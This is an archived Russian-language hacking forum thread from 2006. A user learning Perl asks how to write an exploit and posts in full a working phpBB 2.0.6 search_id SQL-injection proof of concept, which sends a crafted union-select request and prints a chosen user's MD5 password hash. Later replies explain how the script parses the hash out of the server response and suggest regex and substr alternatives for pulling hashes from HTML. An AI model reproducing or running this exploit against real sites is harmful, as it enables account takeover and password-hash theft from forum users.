PDA

Просмотр полной версии : Сплоит


LoFFi
03.09.2006, 22:22
Помогите с написанием сплоита. Так сказать изучаю перл. Но проблемма в том что не могу написать сплоит чтоб он работал по человечески, типа запустил, он все сам сделал и дал тебе хеш. Просто получается что хеш выдается в код страничке при запросе который делает сплоит. И как же тогда достать именно хеш среди html? парсить страницу? Ну вобщем помогите хоть как нибудь. Буду очень признателен за хоть какой-нибудь пример.

Вот пример чужого сплоита:
#!/usr/bin/perl -w
use IO::Socket;


## PROOF-OF-CONCEPT
## * работает только с mysql v>4.0
## * работает только если на форуме не удалено самое первое сообщение
##
## Example:
## C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
## [~] prepare to connect...
## [+] connected
## [~] prepare to send data...
## [+] OK
## [~] wait for response...
## [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##


if (@ARGV < 4)
{
print "\n\n";
print "|************************************************* ***************|\n";
print " r57phpbb.pl\n";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";
print "|************************************************* ***************|\n";
print "\n\n";
exit(1);
}

$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected\n";
print "[~] prepare to send data...\n";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%2 0concat(char(97,58,55,58,123,115,58,49,52,58,34,11 5,101,97,114,99,104,95,114,101,115,117,108,116,115 ,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34 ,116,111,116,97,108,95,109,97,116,99,104,95,99,111 ,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34 ,115,112,108,105,116,95,115,101,97,114,99,104,34,5 9,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34) ,user_password,char(34,59,125,115,58,55,58,34,115, 111,114,116,95,98,121,34,59,105,58,48,59,115,58,56 ,58,34,115,111,114,116,95,100,105,114,34,59,115,58 ,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115 ,104,111,119,95,114,101,115,117,108,116,115,34,59, 115,58,54,58,34,116,111,112,105,99,115,34,59,115,5 8,49,50,58,34,114,101,116,117,114,110,95,99,104,97 ,114,115,34,59,105,58,50,48,48,59,125))%20from%20p hpbb_users%20where%20user_id=$user_id/* HTTP/1.0\r\n\r\n";
print "[+] OK\n";
print "[~] wait for response...\n";
while ($answer = <$socket>)
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
}
}
if ($success==0) {print "[-] exploit failed =(\n";}

## o---[ RusH security team | www.rsteam.ru | 2003 ]---o

Непонятны в нем именно такие строки:
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";


----------------------------------
Короче сам вопрос - как оно находит сам хеш? =)

hidden
03.09.2006, 22:55
Лучьше юзай регулярные выражения, ими почьти всё можно найти, пример:
while($text~=/[0-9A-F]{32}/gi){
print "$0\n";
}
Так можно найти все хэши, в тексте $text
----------
i - не учитывать гегистр

LoFFi
03.09.2006, 23:02
ага. спс . то есть я типа задаю range. ок. а линка на статейку нет?

hidden
03.09.2006, 23:05
Линка не знаю, поищи, так и пиши "Регулярные выражения".
А вообще, посмотри эти, они очень похожи
http://www.php.net/manual/ru/reference.pcre.pattern.syntax.php

k1b0rg
03.09.2006, 23:06
$text~=/[0-9A-F]{32}/gi
так будет правильней

Digimortal
08.09.2006, 13:03
Регулярные выражение это, конечно, очень удобно, но часто возникают ситуации, когда удобней использовать split, чтобы выцепить из переменной, содержащей ответ сервера определенные данные. Например, на днях я писал скрипт который вынимает мейлы из html-страниц, причем не все в подряд а расположенные в определенном месте. В таких ситуациях, когда знаешь формат текста из которого надо извлечь определенные данные, split очень удобен.

Чтоб стало ясно, прокоментирую непонятный topicstarter'у фрагмент:

if ($answer =~ /;highlight=/) #здесь переменная $answer проверяется на присутствие текста ";highlight=" в ней, и если он есть, то
{
$success = 1; #эксплуатация считается удавшейся
# не стал узнавать чо там возвращает эксплоит, пусть что-нить подобное:
# lala=tralala;highlight=&&D41D8CD98F00B204E9800998ECF8427E;lalalalala;lalala ;etc
# из всего этого надо извлечь хеш
@result=split(/;/,$answer); #здесь мы делим значение $answer по символу ";" и заносим каждое из этих разделенных значений в массив @result. Теперь в элементе массива $result[1] содержится "highlight=&&D41D8CD98F00B204E9800998ECF8427E"
@result2=split(/=/,$result[1]); # теперь $result2[1]=&&D41D8CD98F00B204E9800998ECF8427E
$result2[1]=~s/&/ /g; # заменяем символы & на пробелы
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n"; # без комментариев...

В общем, тут все очень просто.
В случае с данным сплоитом, возможно, применить рег. выражения было бы разумней...

LoFFi
08.09.2006, 20:04
Огромное спасибо Digimortal. Ты оч помог. Держи +

genom--
08.09.2006, 23:16
что тут сложного сохрани ответ серва в переменную а потом по маске 32 символа подряд (я думаю их там мало тааких может встретиться) или нада позырить по ответу после чего идет хеш и выдрать его сплитом или выдрать его с помошью поиска даже или на крайняк субстрактом
вырезаем букавки
$stroka="syka pisia pyk"
$zz=substr($stroka,0,4) # 'syka'
$zz=substr($stroka,5,5) # 'pisia'
$zz=substr($stroka,-3) # 'pyk'


также мона и 32 символа выдрать--- ламерский вопрос помоему

LoFFi
09.09.2006, 01:04
Слышь ты, следи за базаром, кто ламер вобще. Никто не может знать все, и если я спрашиваю - я хочу узнать ответ а не почитать ту бредятину что ты написал. Оч интерестно как это субстрингом парcить страницу на наличие хеша. Не объяснишь? эт что то новенькое. И как это "по маске 32 символа подряд (я думаю их там мало тааких может встретиться)" ? ты вобще видел когда нить сурс html файла? там что пробелы между тэгами и текстом/хешем? Ну ну

KSURi
09.09.2006, 16:21
Лучьше юзай регулярные выражения, ими почьти всё можно найти, пример:
while($text~=/[0-9A-F]{32}/gi){
print "$0\n";
}
Так можно найти все хэши, в тексте $text
----------
i - не учитывать гегистр
$0 - спец. переменная в которой хранится название запускаемого скрипта. Тебе нужна $1 - спец. переменная в которой хранится первое совпадение в последнем сравнении. Также можно юзать $1..9
соответственно.
PS: про модификатор i уже сказали, а мод. g (global) - заставляет парсер искать все совпадения в данном тексте.
т.е.:

my @hashes=$html=~/[0-9A-F]{32}/ig; # ВСЁ что попадет под данную маску будет помещено в список hashes


$text~=/[0-9A-F]{32}/gi
так будет правильней
C:\>perl -e "$text='test';if($text~=/test/) { print 'OK' }"
syntax error at -e line 1, near "$text~"
Execution of -e aborted due to compilation errors.

C:\>perl -e "$text='test';if($text=~/test/) { print 'OK' }"
OK
C:\>

hidden
09.09.2006, 17:38
Кто не ошибается, темболее в программках на скорую руку. ;) Думаю понятно с чем я это перепутал
Молодец, конструктивная критика, держи +
while($text=~/([0-9A-F]{32})/gi){
print "$1\n";
}

genom--
09.09.2006, 17:50
Слышь ты, следи за базаром, кто ламер вобще. Никто не может знать все, и если я спрашиваю - я хочу узнать ответ а не почитать ту бредятину что ты написал. Оч интерестно как это субстрингом парcить страницу на наличие хеша. Не объяснишь? эт что то новенькое. И как это "по маске 32 символа подряд (я думаю их там мало тааких может встретиться)" ? ты вобще видел когда нить сурс html файла? там что пробелы между тэгами и текстом/хешем? Ну ну


мда-- делаешь так ищешь 32 символаидуших подряд по маске-- код у тебя уже есть -- при поске найденное помещается в спец переменные -- об этом написано в любом учебнике

способ нумер два -- я так думаю что хэш возвращается после чего либо например $hesh=9cdfb439c7876e703e307864c9167a15 - дык вот есть такая функция pos она возвращает номер позиции с котрой начинается то что ты ищешь получаешь номер позиции с которой начинается наш хеш и вырезаешь 32 символа --

и нефиг ругаться лучше бы почитал в учебнике любом по перлу функции работы со строками -- вот